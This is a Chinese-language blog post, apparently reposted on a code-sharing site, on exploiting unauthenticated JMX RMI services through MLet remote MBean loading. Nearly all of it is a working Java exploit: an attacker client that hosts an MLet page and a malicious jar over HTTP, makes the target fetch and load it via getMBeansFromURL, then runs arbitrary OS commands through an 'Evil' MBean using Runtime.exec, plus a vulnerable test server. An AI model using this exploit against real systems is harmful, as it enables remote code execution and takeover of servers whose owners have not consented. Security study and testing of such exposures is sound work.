JMX RMI 攻擊利用


攻擊者通過構造惡意的MBean,調用 getMBeansFromURL 從遠程服務器獲取 MBean,通過MLet標簽提供惡意的MBean對象下載。
前提條件:
允許遠程訪問,沒有開啟認證 (com.sun.management.jmxremote.authenticate=false)
能夠遠程注冊 MBean (javax.management.loading.MLet)
常見端口1099進行攻擊,攻擊過程參考第二篇鏈接地址。
攻擊端:

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;

import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.util.HashSet;
import java.util.Iterator;

/**
 * Created by k1n9 on 2017/8/23.
 */
public class RemoteMbean {
    private static String JARNAME = "compromise.jar";
    private static String OBJECTNAME = "MLetCompromise1:name=evil,id=12";
    private static String EVILCLASS = "Evil";

    public static void main(String[] args) {
        try {
            //開啟Http服務,提供帶mlet標簽的html和惡意MBean的jar包
            HttpServer server = HttpServer.create(new InetSocketAddress(4141), 0);
            server.createContext("/mlet", new MLetHandler());
            server.createContext("/" + JARNAME, new JarHandler());
            server.setExecutor(null);
            server.start();
            //這里可以改成args的參數就可以在命令行下使用了,JMX的ip,端口,要執行的命令
            connectAndOwn("192.168.20.112", "8888", "whoami");

            server.stop(0);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    static void connectAndOwn(String serverName, String port, String command) {
        try {
            //建立連接
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");

            JMXConnector c = JMXConnectorFactory.connect(u, null);
            System.out.println("Connected: " + c.getConnectionId());

            MBeanServerConnection m = c.getMBeanServerConnection();

            ObjectInstance evil_bean = null;
            try {
                evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAME));
            } catch (Exception e) {
                evil_bean = null;
            }

            if (evil_bean == null) {
                System.out.println("Trying to create bean...");
                ObjectInstance evil = null;
                try {
                    evil = m.createMBean("javax.management.loading.MLet", null);
                } catch (javax.management.InstanceAlreadyExistsException e) {
                    evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                }

                System.out.println("Loaded " + evil.getClassName());
                //調用 getMBeansFromURL 從遠程服務器獲取 MBean
                /*
                加載包含 MLET 標記的文本文件,這些標記定義了要添加到 MBean 服務器的 MBean。
                文本文件的位置由 URL 指定。
                使用 UTF-8 編碼來讀取文本文件。
                MLET 文件中指定的 MBean 將被實例化並在 MBean 服務器中注冊。
                */
                Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL",
                        new Object[] {String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress())},
                        new String[] {String.class.getName()}
                );
                HashSet res_set = (HashSet)res;
                Iterator itr = res_set.iterator();
                Object nextObject = itr.next();
                if (nextObject instanceof Exception) {
                    throw ((Exception)nextObject);
                }
                evil_bean = ((ObjectInstance)nextObject);
            }
            //調用惡意 MBean 中用於執行命令的函數
            System.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static class MLetHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            /**
             * mlet 標簽
             *
             * CODE = class | OBJECT = serfile
             * ARCHIVE = "archiveList"
             * [CODEBASE = codebaseURL]
             * [NAME = mbeanname]
             * [VERSION = version]
             * >
             * [arglist]
             *
             */
            String respone = String.format("<HTML><mlet code=%s archive=%s name=%s></mlet></HTML>", EVILCLASS, JARNAME, OBJECTNAME);
            System.out.println("Sending mlet: " + respone + "\n");
            t.sendResponseHeaders(200, respone.length());
            OutputStream os = t.getResponseBody();
            os.write(respone.getBytes());
            os.close();
        }
    }

    static class JarHandler implements HttpHandler {
        public void handle(HttpExchange t) throws IOException {
            System.out.println("Request made for JAR...");
            //這里的 compromise.jar 可以根據實際的路徑來修改
            File file = new File("E:\\Struts2-Vulenv-master\\JndiExploit\\src\\compromise.jar");
            byte[] bytearray = new byte[(int)file.length()];
            FileInputStream fis = new FileInputStream(file);
            BufferedInputStream bis = new BufferedInputStream(fis);
            bis.read(bytearray, 0 , bytearray.length);
            t.sendResponseHeaders(200, file.length());
            OutputStream os = t.getResponseBody();
            os.write(bytearray, 0, bytearray.length);
            os.close();
        }
    }
}

EvilMBean.java

public interface EvilMBean {
    public String runCommand(String cmd);
}

Evil.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil implements EvilMBean {
    @Override
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }

            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

服務器:

import javax.management.MBeanServer;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HelloAgentRemote {
    public static void main(String[] args) throws Exception {

        //創建MBeanServer
        MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
//        ObjectName helloName = new ObjectName("jmxBean:name=Evil");
        //注冊MBean,client通過helloName來獲取new Evil()對象
//         mbs.registerMBean(new Evil(), helloName);

        try {
            //這句話非常重要,不能缺少!注冊一個端口,綁定url后,客戶端就可以使用rmi通過url方式來連接JMXConnectorServer
            LocateRegistry.createRegistry(8888);
            JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:8888/jmxrmi");
            JMXConnectorServer cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
            System.out.println("....................begin rmi start.....");
            cs.start();
            System.out.println("....................rmi start.....");
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

Alt text

https://paper.tuisec.win/detail/28e1afa65b4ce86
https://www.secpulse.com/archives/6203.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM